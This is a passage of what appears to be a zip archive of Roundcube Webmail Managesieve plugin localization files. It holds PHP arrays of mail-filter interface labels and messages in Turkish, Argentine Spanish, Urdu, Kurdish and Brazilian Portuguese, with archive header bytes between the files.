$labels['forwardtitle'] = 'Posta iletme kuralını düzenle';
$labels['message'] = 'İleti';
$labels['duplicate'] = 'yinelenen';
$labels['notduplicate'] = 'yinelenmeyen';
$labels['duplicate.handle'] = 'işle:';
$labels['duplicate.header'] = 'üst bilgi:';
$labels['duplicate.uniqueid'] = 'belirteç:';
$labels['duplicate.seconds'] = 'Zaman aşımı (saniye):';
$labels['duplicate.last'] = 'son yapılanlara göre';
$messages['filterunknownerror'] = 'Bilinmeyen sunucu sorunu.';
$messages['filterconnerror'] = 'Sunucu ile bağlantı kurulamadı.';
$messages['filterdeleteerror'] = 'Süzgeç silinemedi. Sunucuda bir sorun çıktı.';
$messages['filterdeleted'] = 'Süzgeç silindi.';
$messages['filtersaved'] = 'Süzgeç kaydedildi.';
$messages['filtersaveerror'] = 'Süzgeç kaydedilemedi. Sunucuda bir sorun çıktı.';
$messages['filterformerror'] = 'Süzgeç formunda sorunlar var.';
$messages['filterdeleteconfirm'] = 'Seçilmiş süzgeçleri silmek istediğinize emin misiniz?';
$messages['ruledeleteconfirm'] = 'Seçilmiş kuralları silmek istediğinize emin misiniz?';
$messages['actiondeleteconfirm'] = 'Seçilmiş işlemleri silmek istediğinize emin misiniz?';
$messages['forbiddenchars'] = 'Alanda izin verilmeyen karakterler var.';
$messages['cannotbeempty'] = 'Alan boş olamaz';
$messages['ruleexist'] = 'Aynı adlı bir süzgeç zaten var.';
$messages['setactivateerror'] = 'Seçilmiş süzgeç kümesi etkinleştirilemedi. Sunucuda bir sorun çıktı.';
$messages['setdeactivateerror'] = 'Seçilmiş süzgeç kümesi devre dışı bırakılamadı. Sunucuda bir sorun çıktı.';
$messages['setdeleteerror'] = 'Seçilmiş süzgeç kümesi silinemedi. Sunucuda bir sorun çıktı.';
$messages['setactivated'] = 'Süzgeç kümesi etkinleştirildi.';
$messages['setdeactivated'] = 'Süzgeç kümesi devre dışı bırakıldı.';
$messages['setdeleted'] = 'Süzgeç kümesi silindi.';
$messages['setupdated'] = 'Süzgeç kümesi güncellendi.';
$messages['setdeleteconfirm'] = 'Seçilmiş süzgeç kümesini silmek istediğinize emin misiniz?';
$messages['setcreateerror'] = 'Süzgeç kümesi eklenemedi. Sunucuda bir sorun çıktı.';
$messages['setcreated'] = 'Süzgeç kümesi eklendi.';
$messages['activateerror'] = 'Seçilmiş süzgeç(ler) etkinleştirilemedi. Sunucuda bir sorun çıktı.';
$messages['deactivateerror'] = 'Seçilmiş süzgeç(ler) devre dışı bırakılamadı. Sunucuda bir sorun çıktı.';
$messages['deactivated'] = 'Süzgeç(ler) devre dışı bırakıldı.';
$messages['activated'] = 'Süzgeç(ler) etkinleştirildi.';
$messages['moved'] = 'Süzgeç taşındı.';
$messages['moveerror'] = 'Seçilmiş süzgeç taşınamadı. Sunucuda bir sorun çıktı.';
$messages['nametoolong'] = 'Ad çok uzun.';
$messages['namereserved'] = 'Bu ad ayırtılmış.';
$messages['setexist'] = 'Küme zaten var.';
$messages['nodata'] = 'En az bir konum seçilmelidir!';
$messages['invaliddateformat'] = 'Tarih ya da tarih biçimi geçersiz';
$messages['saveerror'] = 'Veri kaydedilemedi. Sunucuda bir sorun çıktı.';
$messages['vacationsaved'] = 'Ofis dışında verileri kaydedildi.';
$messages['forwardsaved'] = 'İletim verileri kaydedildi.';
$messages['emptyvacationbody'] = 'Tatil iletisi metnini yazmalısınız!';
$messages['duplicate.conflict.err'] = 'Üst bilgi ve tekil belirteç aynı anda kullanılamaz.';
$messages['disabledaction'] = 'İşleme izin verilmiyor!';
$messages['lastindexempty'] = 'Sondan sayılırken dizin gereklidir';
$messages['noflagset'] = 'En az bir işaret seçilmelidir.';
PKh�\7�+�:�:*plugins/managesieve/localization/es_AR.incnu�[���<?php

/*
 +-----------------------------------------------------------------------+
 | Localization file of the Roundcube Webmail Managesieve plugin         |
 |                                                                       |
 | Copyright (C) The Roundcube Dev Team                                  |
 |                                                                       |
 | Licensed under the GNU General Public License version 3 or            |
 | any later version with exceptions for skins & plugins.                |
 | See the README file for a full license statement.                     |
 +-----------------------------------------------------------------------+

 For translation see https://www.transifex.com/projects/p/roundcube-webmail/resource/plugin-managesieve/
*/


$labels['filters'] = 'Filtros';
$labels['managefilters'] = 'Administrar filtros de correo entrante';
$labels['filtername'] = 'Nombre del filtro';
$labels['newfilter'] = 'Nuevo filtro';
$labels['filteradd'] = 'Agregar filtro';
$labels['filterdel'] = 'Eliminar filtro';
$labels['rules'] = 'Reglas';
$labels['actions'] = 'Acciones';
$labels['scope'] = 'Alcance';
$labels['moveup'] = 'Mover arriba';
$labels['movedown'] = 'Mover abajo';
$labels['filterallof'] = 'coincidir con todas las reglas siguientes';
$labels['filteranyof'] = 'coincidir con alguna de las reglas siguientes';
$labels['filterany'] = 'todos los mensajes';
$labels['filtercontains'] = 'contiene';
$labels['filternotcontains'] = 'no contiene';
$labels['filteris'] = 'es igual a';
$labels['filterisnot'] = 'no es igual a';
$labels['filterexists'] = 'existe';
$labels['filternotexists'] = 'no existe';
$labels['filtermatches'] = 'coincide con la expresión';
$labels['filternotmatches'] = 'no coincide con la expresión';
$labels['filterregex'] = 'coincide con la expresión regular';
$labels['filternotregex'] = 'no coincide con la expresión regular';
$labels['filterunder'] = 'bajo';
$labels['filterover'] = 'sobre';
$labels['mime'] = 'MIME:';
$labels['mimepart'] = 'Parte MIME:';
$labels['mime-message'] = 'mensaje';
$labels['mime-anychild'] = 'cualquiera';
$labels['mime-type'] = 'tipo';
$labels['mime-subtype'] = 'subtipo';
$labels['mime-contenttype'] = 'tipo de contenido';
$labels['mime-param'] = 'parámetro';
$labels['addrule'] = 'Agregar regla';
$labels['delrule'] = 'Eliminar regla';
$labels['messagemoveto'] = 'Mover mensaje a';
$labels['messageredirect'] = 'Redirigir mensaje a';
$labels['messagecopyto'] = 'Copiar mensaje a';
$labels['messagesendcopy'] = 'Enviar copia del mensaje a';
$labels['messagereply'] = 'Responder con un mensaje';
$labels['messagedelete'] = 'Eliminar mensaje';
$labels['messagediscard'] = 'Descartar con un mensaje';
$labels['messagekeep'] = 'Mantener mensajes en bandeja de entrada';
$labels['messagesrules'] = 'Para el correo entrante:';
$labels['messagesactions'] = '... ejecutar las siguientes acciones:';
$labels['add'] = 'Agregar';
$labels['del'] = 'Eliminar';
$labels['sender'] = 'Remitente';
$labels['recipient'] = 'Destinatario';
$labels['vacationaddr'] = 'Mi dirección de correo electrónico:';
$labels['vacationdays'] = 'Cada cuanto enviar mensajes (en días):';
$labels['vacationinterval'] = 'Enviar mensajes cada:';
$labels['vacationreason'] = 'Cuerpo del mensaje (razón de vacaciones):';
$labels['vacationfrom'] = 'Responder a la dirección remitente:';
$labels['vacationsubject'] = 'Asunto del mensaje:';
$labels['days'] = 'dias';
$labels['seconds'] = 'segundos';
$labels['rulestop'] = 'Parar de evaluar reglas';
$labels['enable'] = 'Habilitar/Deshabilitar';
$labels['filterset'] = 'Conjunto de filtros';
$labels['filtersets'] = 'Conjuntos de filtros';
$labels['filtersetadd'] = 'Agregar conjunto de filtros';
$labels['filtersetdel'] = 'Eliminar conjunto de filtros';
$labels['filtersetact'] = 'Activar este conjunto de filtros';
$labels['filtersetdeact'] = 'Desactivar este conjunto de filtros';
$labels['filterseteditraw'] = 'Editar conjunto de filtros';
$labels['filtersetswitch'] = 'Habilitar/deshabilitar conjunto de filtros';
$labels['filterdef'] = 'Creación de filtros';
$labels['filtersetname'] = 'Nombre del conjunto de filtros';
$labels['newfilterset'] = 'Nuevo conjunto de filtros';
$labels['active'] = 'Activar';
$labels['none'] = 'ninguno';
$labels['fromset'] = 'desde conjunto';
$labels['fromfile'] = 'desde archivo';
$labels['filterdisabled'] = 'Filtro deshabilitado';
$labels['filterenabled'] = 'Filtro activado';
$labels['countisgreaterthan'] = 'la longitud es mayor a';
$labels['countisgreaterthanequal'] = 'la longitud es mayor o igual a';
$labels['countislessthan'] = 'la longitud es menor a';
$labels['countislessthanequal'] = 'la longitud es menor o igual a';
$labels['countequals'] = 'la longitud es igual a';
$labels['countnotequals'] = 'la longitud no es igual a';
$labels['valueisgreaterthan'] = 'el valor es mayor a';
$labels['valueisgreaterthanequal'] = 'el valor es mayor o igual a';
$labels['valueislessthan'] = 'el valor es menor a';
$labels['valueislessthanequal'] = 'el valor es menor o igual a';
$labels['valueequals'] = 'el valor es igual a';
$labels['valuenotequals'] = 'el valor no es igual a';
$labels['setflags'] = 'Configurar marcas del mensaje';
$labels['addflags'] = 'Agregar marcas al mensaje';
$labels['removeflags'] = 'Eliminar marcas del mensaje';
$labels['flagread'] = 'Leer';
$labels['flagdeleted'] = 'Eliminado';
$labels['flaganswered'] = 'Respondido';
$labels['flagflagged'] = 'Marcado';
$labels['flagdraft'] = 'Borrador';
$labels['addheader'] = 'Agregar encabezado al mensaje';
$labels['deleteheader'] = 'Eliminar encabezado del mensaje';
$labels['headername'] = 'Nombre del encabezado';
$labels['headervalue'] = 'Valor del encabezado';
$labels['headerpos'] = 'Posición del encabezado';
$labels['headeratstart'] = 'al principio';
$labels['headeratend'] = 'al final';
$labels['headeroccurrence'] = 'Posición/aparición del encabezado';
$labels['headerfromstart'] = 'desde el principio';
$labels['headerfromend'] = 'desde el final';
$labels['headerpatterns'] = 'Patrones del valor del encabezado';
$labels['headermatchtype'] = 'tipo de coincidencia:';
$labels['setvariable'] = 'Setear variable';
$labels['setvarname'] = 'Nombre de variable:';
$labels['setvarvalue'] = 'Valor de variable:';
$labels['setvarmodifiers'] = 'Modificadores:';
$labels['varlower'] = 'minúscula';
$labels['varupper'] = 'mayúscula';
$labels['varlowerfirst'] = 'primer caracter en minúscula';
$labels['varupperfirst'] = 'primer caracter en mayúscula';
$labels['varquotewildcard'] = 'citar caracteres especiales';
$labels['varlength'] = 'longitud';
$labels['notify'] = 'Enviar notificación';
$labels['notifytarget'] = 'Objetivo de la notificación:';
$labels['notifymessage'] = 'Mensaje de notificación (opcional):';
$labels['notifyoptions'] = 'Opciones de notificación (opcional):';
$labels['notifyfrom'] = 'Remitente de la notificación (opcional):';
$labels['notifyimportance'] = 'Importancia:';
$labels['notifyimportancelow'] = 'baja';
$labels['notifyimportancenormal'] = 'normal';
$labels['notifyimportancehigh'] = 'alta';
$labels['notifymethodmailto'] = 'Email';
$labels['notifymethodtel'] = 'Teléfono';
$labels['notifymethodsms'] = 'SMS';
$labels['filtercreate'] = 'Crear filtro';
$labels['usedata'] = 'Usar la siguiente información en el filtro:';
$labels['nextstep'] = 'Siguiente paso';
$labels['...'] = '...';
$labels['string'] = 'Cadena';
$labels['currdate'] = 'Fecha actual';
$labels['datetest'] = 'Fecha';
$labels['dateheader'] = 'encabezado:';
$labels['year'] = 'año';
$labels['month'] = 'mes';
$labels['day'] = 'dia';
$labels['date'] = 'fecha (yyyy-mm-dd)';
$labels['julian'] = 'fecha (juliano)';
$labels['hour'] = 'hora';
$labels['minute'] = 'minuto';
$labels['second'] = 'segundo';
$labels['time'] = 'hora (hh:mm:ss)';
$labels['iso8601'] = 'fecha (ISO8601)';
$labels['std11'] = 'fecha (RFC2822)';
$labels['zone'] = 'zona horaria';
$labels['weekday'] = 'día de la semana (0-6)';
$labels['advancedopts'] = 'Opciones avanzadas';
$labels['body'] = 'Cuerpo';
$labels['address'] = 'dirección';
$labels['envelope'] = 'envoltura';
$labels['modifier'] = 'modificador:';
$labels['text'] = 'texto';
$labels['undecoded'] = 'sin decodificar (crudo)';
$labels['contenttype'] = 'tipo de contenido';
$labels['modtype'] = 'tipo:';
$labels['allparts'] = 'todo';
$labels['domain'] = 'dominio';
$labels['localpart'] = 'parte local';
$labels['user'] = 'usuario';
$labels['detail'] = 'detalle';
$labels['comparator'] = 'comparador:';
$labels['default'] = 'por defecto';
$labels['octet'] = 'estricto (octeto)';
$labels['asciicasemap'] = 'no sensible a minúsculas o mayúsculas (ascii-casemap)';
$labels['asciinumeric'] = 'numérico (ascii-numeric)';
$labels['index'] = 'índice:';
$labels['indexlast'] = 'hacia atrás';
$labels['spamtest'] = 'Nivel de spam';
$labels['spamtestisgreaterthan'] = 'es mayor a';
$labels['spamtestisgreaterthanequal'] = 'es mayor o igual a';
$labels['spamtestislessthan'] = 'es menor a';
$labels['spamtestislessthanequal'] = 'es menor o igual a';
$labels['spamtestequals'] = 'es igual a';
$labels['spamtestnotequals'] = 'no es igual a';
$labels['spamtestisunknown'] = 'es desconocido';
$labels['vacation'] = 'Aviso de ausencia';
$labels['vacation.reply'] = 'Responder mensaje';
$labels['vacation.advanced'] = 'Opciones avanzadas';
$labels['vacation.from'] = 'Dirección del remitente de la respuesta';
$labels['vacation.subject'] = 'Asunto';
$labels['vacation.body'] = 'Cuerpo';
$labels['vacation.start'] = 'Fecha y hora de comienzo';
$labels['vacation.end'] = 'Fecha y hora de finalización';
$labels['vacation.status'] = 'Estado';
$labels['vacation.on'] = 'Habilitado';
$labels['vacation.off'] = 'Deshabilitado';
$labels['vacation.addresses'] = 'Mis direcciones de correo electrónico';
$labels['vacation.interval'] = 'Intervalo de respuesta';
$labels['vacation.after'] = 'Poner la regla de ausencia después';
$labels['vacation.saving'] = 'Guardando información...';
$labels['vacation.action'] = 'Acción para mensaje entrante';
$labels['vacation.keep'] = 'Mantener';
$labels['vacation.discard'] = 'Descartar';
$labels['vacation.redirect'] = 'Reenviar a';
$labels['vacation.copy'] = 'Enviar copia a';
$labels['forward'] = 'Reenvío';
$labels['forward.redirect'] = 'Reenviar a';
$labels['forward.copy'] = 'Enviar copia a';
$labels['forward.on'] = 'Sí';
$labels['forward.off'] = 'No';
$labels['forward.status'] = 'Estado:';
$labels['forward.action'] = 'Para mensajes entrantes ejecutar la siguiente acción:';
$labels['forward.saving'] = 'Guardando información...';
$labels['filladdresses'] = 'Rellenar con todas mis direcciones';
$labels['arialabelfiltersetactions'] = 'Acciones de conjunto de filtros';
$labels['arialabelfilteractions'] = 'Filtrar acciones';
$labels['arialabelfilterform'] = 'Filtrar propiedades';
$labels['ariasummaryfilterslist'] = 'Listado de filtros';
$labels['ariasummaryfiltersetslist'] = 'Listado de conjunto de filtros';
$labels['filterstitle'] = 'Editar filtros para mensajes entrantes';
$labels['vacationtitle'] = 'Editar reglas de ausencia';
$labels['forwardtitle'] = 'Editar regla de reenvío de correo';
$labels['message'] = 'Mensaje';
$labels['duplicate'] = 'está duplicado';
$labels['notduplicate'] = 'no está duplicado';
$labels['duplicate.handle'] = 'handle:';
$labels['duplicate.header'] = 'encabezado:';
$labels['duplicate.uniqueid'] = 'identificador:';
$labels['duplicate.seconds'] = 'límite de tiempo (en segundos):';
$labels['duplicate.last'] = 'relativo a la última ejecución';
$messages['filterunknownerror'] = 'Error desconocido del servidor.';
$messages['filterconnerror'] = 'Imposible conectar con el servidor.';
$messages['filterdeleteerror'] = 'Imposible borrar el filtro. Ha ocurrido un error en el servidor.';
$messages['filterdeleted'] = 'Filtro borrado satisfactoriamente';
$messages['filtersaved'] = 'Filtro guardado satisfactoriamente';
$messages['filtersaveerror'] = 'Imposible guardar el filtro. Ha ocurrido un error en el servidor.';
$messages['filterformerror'] = 'La forma del filtro contiene errores.';
$messages['filterdeleteconfirm'] = '¿Realmente deseás borrar el filtro seleccionado?';
$messages['ruledeleteconfirm'] = '¿Estás seguro de que deseás borrar la regla seleccionada?';
$messages['actiondeleteconfirm'] = '¿Está seguro de que deseás borrar la acción seleccionada?';
$messages['forbiddenchars'] = 'Caracteres prohibidos en el campo.';
$messages['cannotbeempty'] = 'El campo no puede estar vacío.';
$messages['ruleexist'] = 'Ya existe un filtro con el nombre especificado.';
$messages['setactivateerror'] = 'Imposible activar el conjunto de filtros seleccionado. Ocurrió un error en el servidor.';
$messages['setdeactivateerror'] = 'Imposible desactivar el conjunto de filtros seleccionado. Ocurrió un error en el servidor.';
$messages['setdeleteerror'] = 'Imposible borrar el conjunto de filtros seleccionado. Ocurrió un error en el servidor.';
$messages['setactivated'] = 'Conjunto de filtros activados satisfactoriamente.';
$messages['setdeactivated'] = 'Conjunto de filtros desactivados satisfactoriamente.';
$messages['setdeleted'] = 'Conjunto de filtros eliminados satisfactoriamente.';
$messages['setupdated'] = 'Conjunto de filtros actualizados satisfactoriamente.';
$messages['setdeleteconfirm'] = '¿Estás seguro de que deseás eliminar el conjunto de filtros seleccionado?';
$messages['setcreateerror'] = 'Imposible crear el conjunto de filtros seleccionado. Ocurrió un error en el servidor.';
$messages['setcreated'] = 'Conjunto de filtros creado satisfactoriamente.';
$messages['activateerror'] = 'Imposible activar el conjunto de filtros. Error en el servidor.';
$messages['deactivateerror'] = 'Imposible desactivar el conjunto de filtros. Error en el servidor.';
$messages['deactivated'] = 'Filtro deshabilitado satisfactoriamente';
$messages['activated'] = 'Filtro habilitado satisfactoriamente';
$messages['moved'] = 'Filtro movido satisfactoriamente';
$messages['moveerror'] = 'Imposible mover el filtro seleccionado. Ha ocurrido un error en el servidor.';
$messages['nametoolong'] = 'El nombre es demasiado largo.';
$messages['namereserved'] = 'Nombre reservado.';
$messages['setexist'] = 'Conjunto ya existe.';
$messages['nodata'] = 'Al menos una posición debe ser seleccionada!';
$messages['invaliddateformat'] = 'Fecha o formato de fecha inválido';
$messages['saveerror'] = 'Imposible guardar la información. Ha ocurrido un error con el servidor.';
$messages['vacationsaved'] = 'Datos de ausencia guardados satisfactoriamente.';
$messages['forwardsaved'] = 'Datos de reenvío guardados satisfactoriamente.';
$messages['emptyvacationbody'] = '¡Se requiere un cuerpo para el mensaje por vacaciones!';
$messages['duplicate.conflict.err'] = 'Ni el encabezado ni el identificador único están permitidos.';
$messages['disabledaction'] = 'Acción no permitida.';
$messages['lastindexempty'] = 'Se necesita un índice cuando se cuenta desde el final';
$messages['noflagset'] = 'Al menos una etiqueta debe estar seleccionada';
PKh�\�Q"��*plugins/managesieve/localization/ur_PK.incnu�[���<?php

/*
 +-----------------------------------------------------------------------+
 | Localization file of the Roundcube Webmail Managesieve plugin         |
 |                                                                       |
 | Copyright (C) The Roundcube Dev Team                                  |
 |                                                                       |
 | Licensed under the GNU General Public License version 3 or            |
 | any later version with exceptions for skins & plugins.                |
 | See the README file for a full license statement.                     |
 +-----------------------------------------------------------------------+

 For translation see https://www.transifex.com/projects/p/roundcube-webmail/resource/plugin-managesieve/
*/


$labels['sender'] = 'بھیجنے والا';
$labels['flagdeleted'] = 'ختم ہو گیا';
$labels['datetest'] = 'تاریخ';
$labels['vacation.subject'] = 'مضمون';
PKh�\��8�'plugins/managesieve/localization/ku.incnu�[���<?php

/*
 +-----------------------------------------------------------------------+
 | Localization file of the Roundcube Webmail Managesieve plugin         |
 |                                                                       |
 | Copyright (C) The Roundcube Dev Team                                  |
 |                                                                       |
 | Licensed under the GNU General Public License version 3 or            |
 | any later version with exceptions for skins & plugins.                |
 | See the README file for a full license statement.                     |
 +-----------------------------------------------------------------------+

 For translation see https://www.transifex.com/projects/p/roundcube-webmail/resource/plugin-managesieve/
*/


$labels['filterany'] = 'hemû peyam';
$labels['filtercontains'] = 'dihewîne';
$labels['filternotcontains'] = 'nahebîne';
$labels['filteris'] = 'weke';
$labels['filterisnot'] = 'ne weke';
$labels['filterexists'] = 'heye';
$labels['filternotexists'] = 'tune ye';
$labels['filterunder'] = 'bin';
$labels['filterover'] = 'ser';
$labels['messagemoveto'] = 'Peyamê bibe ';
$labels['messageredirect'] = 'Peyamê vegerîne';
$labels['messagereply'] = 'Bi peyamekê bibersivîne';
$labels['messagedelete'] = 'Peyamê jê bibe';
$labels['add'] = 'Tev bike';
$labels['del'] = 'Jê bibe';
$labels['sender'] = 'Şandyar';
$labels['vacationsubject'] = 'Mijara peyamê:';
$labels['days'] = 'roj';
$labels['seconds'] = 'saniye';
$labels['enable'] = 'Veke/Bigire';
$labels['active'] = 'çalak';
$labels['none'] = 'qet';
$labels['fromfile'] = 'ji dosyeyê';
$labels['filterdisabled'] = 'Parzing girtî ye';
$labels['countisgreaterthan'] = 'hejmar mezintir e ji';
$labels['countisgreaterthanequal'] = 'hejmar weke an jî mezintir e ji';
$labels['countislessthan'] = 'hejmar kêmtir e ji';
$labels['countequals'] = 'hejmar weke ';
$labels['countnotequals'] = 'hejmar ne weke';
$labels['flagread'] = 'Xwendî';
$labels['flagdeleted'] = 'Jêbirî';
$labels['flaganswered'] = 'Nebersivandî';
$labels['flagflagged'] = 'Bialakirî';
$labels['varlength'] = 'Dirêjahî';
$labels['notify'] = 'Agahiyê bişîne';
$labels['notifyimportance'] = 'Girîng:';
$labels['notifyimportancelow'] = 'nizm';
$labels['notifyimportancehigh'] = 'bilind';
$labels['notifymethodmailto'] = 'Email';
$labels['notifymethodtel'] = 'Telefon';
$labels['notifymethodsms'] = 'SMS';
$labels['filtercreate'] = 'Parzingek çêke';
$labels['nextstep'] = 'Gava pêşde';
$labels['...'] = '...';
$labels['currdate'] = 'Dîroka niha';
$labels['datetest'] = 'Dîrok';
$labels['year'] = 'sal';
$labels['month'] = 'meh';
$labels['day'] = 'roj';
$labels['date'] = 'dîrok (ssss-mm--rr)';
$labels['julian'] = 'dîrok (julian)';
$labels['hour'] = 'saet';
$labels['minute'] = 'deqîqe';
$labels['second'] = 'saniye';
$labels['time'] = 'dem (ss:dd:ss)';
$labels['iso8601'] = 'dem (ISO8601)';
$labels['zone'] = 'qada demê';
$labels['weekday'] = 'rojên hefteyê (0-6)';
$labels['address'] = 'navnîşan';
$labels['text'] = 'nivîs';
$labels['contenttype'] = 'cûreya naverokê';
$labels['modtype'] = 'cûre';
$labels['allparts'] = 'hemû';
$labels['user'] = 'bikarhêner';
$labels['detail'] = 'detay';
$labels['spamtestequals'] = 'weke';
$labels['spamtestnotequals'] = 'ne weke';
$labels['vacation.reply'] = 'Peyamê bibersivîne';
$labels['vacation.advanced'] = 'Mihengên pêşketî';
$labels['vacation.subject'] = 'Mijar';
$labels['vacation.status'] = 'Rewş';
$labels['vacation.on'] = 'Vekirî';
$labels['vacation.keep'] = 'Bihêle';
$labels['forward.on'] = 'Vekirî';
PKh�\pͰ�^9^9*plugins/managesieve/localization/pt_BR.incnu�[���<?php

/*
 +-----------------------------------------------------------------------+
 | Localization file of the Roundcube Webmail Managesieve plugin         |
 |                                                                       |
 | Copyright (C) The Roundcube Dev Team                                  |
 |                                                                       |
 | Licensed under the GNU General Public License version 3 or            |
 | any later version with exceptions for skins & plugins.                |
 | See the README file for a full license statement.                     |
 +-----------------------------------------------------------------------+

 For translation see https://www.transifex.com/projects/p/roundcube-webmail/resource/plugin-managesieve/
*/


$labels['filters'] = 'Filtros';
$labels['managefilters'] = 'Gerenciar filtros de entrada de e-mail';
$labels['filtername'] = 'Nome do filtro';
$labels['newfilter'] = 'Novo filtro';
$labels['filteradd'] = 'Adicionar filtro';
$labels['filterdel'] = 'Excluir filtro';
$labels['rules'] = 'Regras';
$labels['actions'] = 'Ações';
$labels['scope'] = 'Escopo';
$labels['moveup'] = 'Mover para cima';
$labels['movedown'] = 'Mover para baixo';
$labels['filterallof'] = 'casando todas as seguintes regras';
$labels['filteranyof'] = 'casando qualquer das seguintes regras';
$labels['filterany'] = 'todas as mensagens';
$labels['filtercontains'] = 'contem';
$labels['filternotcontains'] = 'não contem';
$labels['filteris'] = 'é igual a';
$labels['filterisnot'] = 'não é igual a';
$labels['filterexists'] = 'existe';
$labels['filternotexists'] = 'não existe';
$labels['filtermatches'] = 'expressão combina';
$labels['filternotmatches'] = 'expressão não combina';
$labels['filterregex'] = 'combina com expressão regular';
$labels['filternotregex'] = 'não combina com a expressão regular';
$labels['filterunder'] = 'inferior a';
$labels['filterover'] = 'superior a';
$labels['mime'] = 'MIME:';
$labels['mimepart'] = 'Parte MIME:';
$labels['mime-message'] = 'mensagem';
$labels['mime-anychild'] = 'qualquer';
$labels['mime-type'] = 'tipo';
$labels['mime-subtype'] = 'subtipo';
$labels['mime-contenttype'] = 'tipo-de-conteúdo';
$labels['mime-param'] = 'parâmetro';
$labels['addrule'] = 'Adicionar regra';
$labels['delrule'] = 'Excluir regra';
$labels['messagemoveto'] = 'Mover mensagem para';
$labels['messageredirect'] = 'Redirecionar mensagem para';
$labels['messagecopyto'] = 'Copiar mensagem para';
$labels['messagesendcopy'] = 'Enviar cópia da mensagem para';
$labels['messagereply'] = 'Responder com mensagem';
$labels['messagedelete'] = 'Excluir mensagem';
$labels['messagediscard'] = 'Descartar com mensagem';
$labels['messagekeep'] = 'Manter mensagens na caixa';
$labels['messagesrules'] = 'Para e-mails recebidos:';
$labels['messagesactions'] = '...execute as seguintes ações:';
$labels['add'] = 'Adicionar';
$labels['del'] = 'Excluir';
$labels['sender'] = 'Remetente';
$labels['recipient'] = 'Destinatário';
$labels['vacationaddr'] = 'Meus endereços de e-mail:';
$labels['vacationdays'] = 'Enviar mensagens com que frequência (em dias):';
$labels['vacationinterval'] = 'Como geralmente enviam mensagens:';
$labels['vacationreason'] = 'Corpo da mensagem (motivo de férias):';
$labels['vacationfrom'] = 'Responder endereço do remetente:';
$labels['vacationsubject'] = 'Título da mensagem:';
$labels['days'] = 'dias';
$labels['seconds'] = 'segundos';
$labels['rulestop'] = 'Parar de avaliar regras';
$labels['enable'] = 'Habilitar/Desabilitar';
$labels['filterset'] = 'Conjunto de filtro';
$labels['filtersets'] = 'Conjuntos de filtro';
$labels['filtersetadd'] = 'Adicionar conjunto de filtro';
$labels['filtersetdel'] = 'Remover conjunto de filtro';
$labels['filtersetact'] = 'Ativar conjunto de filtro atual';
$labels['filtersetdeact'] = 'Desativar conjunto de filtro atual';
$labels['filterseteditraw'] = 'Editar conjunto de filtros';
$labels['filtersetswitch'] = 'Habilitar/desabilitar conjunto de filtro';
$labels['filterdef'] = 'Definição de filtro';
$labels['filtersetname'] = 'Nome do conjunto de filtro';
$labels['newfilterset'] = 'Novo conjunto de filtro';
$labels['active'] = 'ativo';
$labels['none'] = 'nenhum';
$labels['fromset'] = 'Do conjunto';
$labels['fromfile'] = 'Do arquivo';
$labels['filterdisabled'] = 'Filtro desativado';
$labels['filterenabled'] = 'Filtro ativado';
$labels['countisgreaterthan'] = 'contagem é maior que';
$labels['countisgreaterthanequal'] = 'contagem é maior ou igual a';
$labels['countislessthan'] = 'contagem é menor que';
$labels['countislessthanequal'] = 'contagem é menor ou igual a';
$labels['countequals'] = 'contagem é igual a';
$labels['countnotequals'] = 'contagem não é igual a';
$labels['valueisgreaterthan'] = 'valor é maior que';
$labels['valueisgreaterthanequal'] = 'valor é maior ou igual a';
$labels['valueislessthan'] = 'valor é menor que';
$labels['valueislessthanequal'] = 'valor é menor ou igual a';
$labels['valueequals'] = 'valor é igual a';
$labels['valuenotequals'] = 'valor não é igual a';
$labels['setflags'] = 'Definir marcadores à mensagem';
$labels['addflags'] = 'Adicionar marcadores à mensagem';
$labels['removeflags'] = 'Remover marcadores da mensagem';
$labels['flagread'] = 'Lida';
$labels['flagdeleted'] = 'Excluída';
$labels['flaganswered'] = 'Respondida';
$labels['flagflagged'] = 'Marcada';
$labels['flagdraft'] = 'Rascunho';
$labels['addheader'] = 'Adicionar cabeçalho à mensagem';
$labels['deleteheader'] = 'Remover cabeçalho da mensagem';
$labels['headername'] = 'Nome do cabeçalho';
$labels['headervalue'] = 'Valor do cabeçalho';
$labels['headerpos'] = 'Posição do cabeçalho';
$labels['headeratstart'] = 'no início';
$labels['headeratend'] = 'no final';
$labels['headeroccurrence'] = 'Posição/ocorrência do cabeçalho';
$labels['headerfromstart'] = 'do início';
$labels['headerfromend'] = 'do final';
$labels['headerpatterns'] = 'Padrôes de valor do cabeçalho';
$labels['headermatchtype'] = 'tipo de combinação:';
$labels['setvariable'] = 'Definir variável';
$labels['setvarname'] = 'Nome da variável:';
$labels['setvarvalue'] = 'Valor da variável:';
$labels['setvarmodifiers'] = 'Modificadores:';
$labels['varlower'] = 'minúsculas';
$labels['varupper'] = 'maiúsculas';
$labels['varlowerfirst'] = 'primeiro caractere minúsculo';
$labels['varupperfirst'] = 'primeiro caractere maiúsculo';
$labels['varquotewildcard'] = 'caracteres especiais de citação';
$labels['varlength'] = 'tamanho';
$labels['notify'] = 'Enviar notificação';
$labels['notifytarget'] = 'Destino da notificação:';
$labels['notifymessage'] = 'Mensagem de notificação (opcional):';
$labels['notifyoptions'] = 'Opções de notificação (opcional):';
$labels['notifyfrom'] = 'Remetente da notificação (opcional):';
$labels['notifyimportance'] = 'Importância';
$labels['notifyimportancelow'] = 'baixa';
$labels['notifyimportancenormal'] = 'normal';
$labels['notifyimportancehigh'] = 'alta';
$labels['notifymethodmailto'] = 'Email';
$labels['notifymethodtel'] = 'Telefone';
$labels['notifymethodsms'] = 'SMS';
$labels['filtercreate'] = 'Criar filtro';
$labels['usedata'] = 'Usar os seguintes dados no filtro:';
$labels['nextstep'] = 'Próximo Passo';
$labels['...'] = '...';
$labels['string'] = 'Texto';
$labels['currdate'] = 'Data atual';
$labels['datetest'] = 'Data';
$labels['dateheader'] = 'cabeçalho:';
$labels['year'] = 'ano';
$labels['month'] = 'mês';
$labels['day'] = 'dia';
$labels['date'] = 'data (aaaa-mm-dd)';
$labels['julian'] = 'data (calendário juliano)';
$labels['hour'] = 'hora';
$labels['minute'] = 'minuto';
$labels['second'] = 'segundo';
$labels['time'] = 'hora (hh:mm:ss)';
$labels['iso8601'] = 'data (ISO8601)';
$labels['std11'] = 'data (RFC2822)';
$labels['zone'] = 'fuso horário';
$labels['weekday'] = 'dia da semana (0-6)';
$labels['advancedopts'] = 'Opções avançadas';
$labels['body'] = 'Corpo';
$labels['address'] = 'endereço';
$labels['envelope'] = 'envelope';
$labels['modifier'] = 'modificador:';
$labels['text'] = 'texto';
$labels['undecoded'] = 'decodificado (bruto)';
$labels['contenttype'] = 'tipo de conteúdo';
$labels['modtype'] = 'tipo:';
